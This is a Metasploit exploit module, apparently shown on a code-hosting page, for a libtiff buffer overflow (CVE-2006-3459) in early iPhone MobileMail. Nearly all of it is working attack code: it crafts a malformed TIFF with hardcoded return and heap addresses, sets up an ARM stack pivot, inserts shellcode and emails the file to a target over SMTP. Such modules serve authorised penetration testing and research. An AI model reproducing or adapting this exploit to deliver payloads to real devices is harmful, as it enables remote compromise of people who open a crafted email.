Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/apple_ios/email/mobilemail_libtiff.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver1213def initialize(info = {})14super(update_info(info,15'Name' => 'Apple iOS MobileMail LibTIFF Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow in the version of18libtiff shipped with firmware versions 1.00, 1.01, 1.02, and191.1.1 of the Apple iPhone. iPhones which have not had the BSD20tools installed will need to use a special payload.21},22'License' => MSF_LICENSE,23'Author' => ['hdm', 'kf'],24'References' =>25[26['CVE', '2006-3459'],27['OSVDB', '27723'],28['BID', '19283']29],30'Stance' => Msf::Exploit::Stance::Passive,31'Payload' =>32{33'Space' => 1800,34'BadChars' => "",35'Compat' =>36{37'ConnectionType' => '-bind -find',38},39},40'Arch' => ARCH_ARMLE,41'Platform' => %w{ osx },42'Targets' =>43[4445[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',46{47'Platform' => 'osx',4849# Scratch space for our shellcode and stack50'Heap' => 0x00802000,5152# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib53'Magic' => 0x300d562c,54}55],56],57'DefaultTarget' => 0,58'DisclosureDate' => '2006-08-01'59))6061end6263def autofilter64false65end6667def exploit6869exts = ['jpg', 'tiff', 'tif']7071gext = exts[rand(exts.length)]72name = rand_text_alpha(rand(10)+1) + ".#{gext}"73data = Rex::Text.rand_text_alpha(rand(32)+1)74tiff = generate_tiff(target)7576msg = Rex::MIME::Message.new77msg.mime_defaults78msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1)79msg.to = datastore['MAILTO']80msg.from = datastore['MAILFROM']8182msg.add_part(Rex::Text.encode_base64(data, "\r\n"), "text/plain", "base64", "inline")83msg.add_part_attachment(tiff, rand_text_alpha(rand(32)+1) + "." + gext)8485send_message(msg.to_s)8687print_status("Waiting for a payload session (backgrounding)...")88end8990def generate_tiff(targ)91#92# This is a TIFF file, we have a huge range of evasion93# capabilities, but for now, we don't use them.94# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday95#9697lolz = 204898tiff =99"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+100"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+101"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+102"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+103"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+104"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+105"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+106"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+107"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+108"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+109[lolz].pack("V") +110"\x84\x00\x00\x00\x00\x00\x00\x00"111112# Randomize the bajeezus out of our data113hehe = rand_text(lolz)114115# Were going to candy mountain!116hehe[120, 4] = [targ['Magic']].pack("V")117118# >> add r0, r4, #0x30119hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")120121# Candy mountain, Charlie!122# >> mov r1, sp123124# It will be an adventure!125# >> mov r2, r8126hehe[ 92, 4] = [ hehe.length ].pack("V")127128# Its a magic leoplurodon!129# It has spoken!130# It has shown us the way!131# >> bl _memcpy132133# Its just over this bridge, Charlie!134# This magical bridge!135# >> ldr r3, [r4, #32]136# >> ldrt r3, [pc], r3, lsr #30137# >> str r3, [r4, #32]138# >> ldr r3, [r4, #36]139# >> ldrt r3, [pc], r3, lsr #30140# >> str r3, [r4, #36]141# >> ldr r3, [r4, #40]142# >> ldrt r3, [pc], r3, lsr #30143# >> str r3, [r4, #40]144# >> ldr r3, [r4, #44]145# >> ldrt r3, [pc], r3, lsr #30146# >> str r3, [r4, #44]147148# We made it to candy mountain!149# Go inside Charlie!150# sub sp, r7, #0x14151hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")152153# Goodbye Charlie!154# ;; targ['Heap'] + 0x48 becomes the stack pointer155# >> ldmia sp!, {r8, r10}156157# Hey, what the...!158# >> ldmia sp!, {r4, r5, r6, r7, pc}159160# Return back to the copied heap data161hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")162163# Insert our actual shellcode at heap location + 196164hehe[196, payload.encoded.length] = payload.encoded165166tiff << hehe167end168end169170171